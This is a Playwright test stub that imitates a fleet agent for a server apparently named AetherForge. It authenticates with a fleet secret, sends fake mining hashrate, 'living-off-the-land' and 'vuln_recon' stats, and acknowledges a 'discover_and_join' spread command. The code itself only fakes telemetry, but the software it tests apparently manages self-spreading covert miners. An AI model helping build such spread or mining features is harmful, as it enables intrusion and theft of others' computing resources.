/** * Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane. */ import type { APIRequestContext } from '@playwright/test'; import { fetchFleetSecret, waitForServerHealth } from './fixtures'; export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent'; export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host'; export const E2E_DISCOVER_JOIN_LANE = 'dns_txt'; export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT'; const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; const STATS_INTERVAL_MS = 1_000; type HubMessage = { type: string; payload: string | Record; }; function parsePayload(payload: HubMessage['payload']): Record { if (typeof payload === 'string') { return JSON.parse(payload) as Record; } return payload; } function wsAgentUrl(baseUrl: string): string { const trimmed = baseUrl.replace(/\/$/, ''); return trimmed.replace(/^http/i, 'ws') + '/ws/agent'; } function send(ws: WebSocket, type: string, payload: Record): void { ws.send(JSON.stringify({ type, payload })); } function sendStubStats(ws: WebSocket, joinLane?: string): void { send(ws, 'stats', { hashrate_15s: 42, hashrate_1m: 42, hashrate_15m: 42, shares_submitted: 0, shares_accepted: 0, cpu_usage_pct: 5, memory_usage_pct: 40, uptime_seconds: 120, active_method: 'inprocess', mining_hashrate: 42, lotl_tier: 'inprocess', lotl_attempts: [ { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' }, { tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' }, ], ...(joinLane ? { join_lane: joinLane } : {}), }); } async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> { const ws = new WebSocket(wsAgentUrl(baseUrl)); await new Promise((resolve, reject) => { const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000); ws.addEventListener( 'open', () => { clearTimeout(timer); resolve(); }, { once: true }, ); ws.addEventListener( 'error', () => { clearTimeout(timer); reject(new Error('discover stub ws connection failed')); }, { once: true }, ); }); send(ws, 'auth', { agent_id: E2E_DISCOVER_AGENT_ID, fleet_secret: fleetSecret, hostname: E2E_DISCOVER_AGENT_HOSTNAME, version: '1.0.0-e2e', platform: 'windows', arch: 'amd64', cpu_cores: 4, memory_gb: 8, }); await new Promise((resolve, reject) => { const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000); const onMessage = (ev: MessageEvent) => { let msg: HubMessage; try { msg = JSON.parse(String(ev.data)) as HubMessage; } catch { return; } if (msg.type !== 'auth_response') return; clearTimeout(timer); ws.removeEventListener('message', onMessage); const body = parsePayload(msg.payload); if (body.success !== true) { reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`)); return; } resolve(); }; ws.addEventListener('message', onMessage); }); sendStubStats(ws); const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS); ws.addEventListener('message', (ev) => { let msg: HubMessage; try { msg = JSON.parse(String(ev.data)) as HubMessage; } catch { return; } if (msg.type !== 'command') return; const payload = parsePayload(msg.payload); const action = String(payload.action ?? ''); const command = String(payload.command ?? '').trim().toLowerCase(); if (action === 'discover_and_join' || command === 'discover_and_join') { send(ws, 'command_result', { action: 'discover_and_join', success: true, message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`, }); sendStubStats(ws, E2E_DISCOVER_JOIN_LANE); return; } send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' }); }); return () => { clearInterval(statsTimer); ws.close(); }; } let serverReady = false; let disconnectStub: (() => void) | null = null; let connectPromise: Promise | null = null; export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise { if (disconnectStub) return serverReady; if (!connectPromise) { connectPromise = (async () => { serverReady = await waitForServerHealth(request); if (!serverReady) return false; const fleetSecret = await fetchFleetSecret(request); disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret); await new Promise((r) => setTimeout(r, 2_500)); return true; })(); } return connectPromise; } export function isDiscoverSpreadStubReady(): boolean { return serverReady; } export function teardownDiscoverSpreadStub(): void { disconnectStub?.(); disconnectStub = null; connectPromise = null; serverReady = false; }